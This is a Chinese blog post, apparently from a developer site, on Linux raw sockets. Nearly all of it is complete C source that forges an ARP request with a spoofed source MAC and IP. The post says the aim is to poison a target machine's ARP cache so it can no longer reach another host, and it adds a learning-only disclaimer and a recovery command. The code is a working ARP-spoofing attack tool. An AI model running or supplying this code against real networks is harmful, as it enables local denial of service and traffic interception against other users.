linux原始套接字-发送ARP报文

linux原始套接字,可以直接发送和接收链路层和网络层的报文,对我们理解TCP/IP协议栈有很多帮助。

也可写出很多有趣的程序。

下面的例子是向192.168.1.60的电脑,发送伪造的ARP报文,使其更新ARP表,导致无法PING通192.168.1.71。

使用命令arp -d 删除arp缓存即可恢复。

本示例仅供学习交流,请勿用于非法用途。

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>


#define print_errno(fmt, ...) \
    printf("[%d] errno=%d (%s) #" fmt, \
        __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int  s_ip_frame_size = 0;

int main(int argc,char** argv)
{
    struct ether_header *eth = NULL;
    struct ether_arp *arp = NULL;
    struct ifreq ifr;
    struct in_addr daddr;
    struct in_addr saddr;
    struct sockaddr_ll sll;

    int skfd;
    int n = 0;

    unsigned char dmac[ETH_ALEN] = {0x50,0x46,0x5d,0x71,0xcd,0xc0};
    /*伪造 源MAC*/
    unsigned char smac[ETH_ALEN] = {0x00,0x11,0x22,0x33,0x44,0x55};

    daddr.s_addr = inet_addr("192.168.1.60");
    /*伪造 源IP*/
    saddr.s_addr = inet_addr("192.168.1.71");

    memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);

    /*创建原始套接字*/
    skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (skfd < 0) {
        print_errno("socket() failed! \n");
        return -1;
    }
    
    bzero(&ifr,sizeof(ifr));
    strcpy(ifr.ifr_name, "eth1");
    if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
        print_errno("ioctl() SIOCGIFINDEX failed!\n");
        return -1;
    }
    printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);

    bzero(&sll, sizeof(sll));
    sll.sll_ifindex  = ifr.ifr_ifindex;
    sll.sll_family   = PF_PACKET;
    sll.sll_protocol = htons(ETH_P_ALL);

    #if 0
    /*获取本机IP*/
    if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){
        printf("ioctl() SIOCGIFADDR failed! \n");
        return -1;
    }
    printf("ifr_addr    = %s\n", \
        inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));

    /*获取本机MAC*/
    if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
        printf("ioctl() SIOCGIFHWADDR failed! \n");
        return -1;
    }
    printf("ifr_hwaddr  = %02x-%02x-%02x-%02x-%02x-%02x\n",   \
        (unsigned char)ifr.ifr_hwaddr.sa_data[0],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[1],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[2],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[3],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[4],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[5]);


    #endif

    /*构造以太报文*/
    eth = (struct ether_header*)s_ip_frame_data;
    eth->ether_type = htons(ETHERTYPE_ARP);
    memcpy(eth->ether_dhost, dmac, ETH_ALEN); 
    memcpy(eth->ether_shost, smac, ETH_ALEN);

    /*构造ARP报文*/   
    arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
    arp->arp_hrd = htons(ARPHRD_ETHER); 
    arp->arp_pro = htons(ETHERTYPE_IP); 
    arp->arp_hln = ETH_ALEN;
    arp->arp_pln = 4;
    arp->arp_op  = htons(ARPOP_REQUEST);
    
    memcpy(arp->arp_sha, smac, ETH_ALEN);
    memcpy(arp->arp_spa, &saddr.s_addr, 4);
      /*
    memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
    memcpy(arp->arp_tpa, &daddr.s_addr, 4);  
     
    s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
    n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
        (struct sockaddr*)&sll, sizeof(sll));
    if (n < 0) {
        print_errno("sendto() failed!\n");
    }
    else {
        printf("sendto() n = %d \n", n);
    }
    close(skfd);
    return 0;
}

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值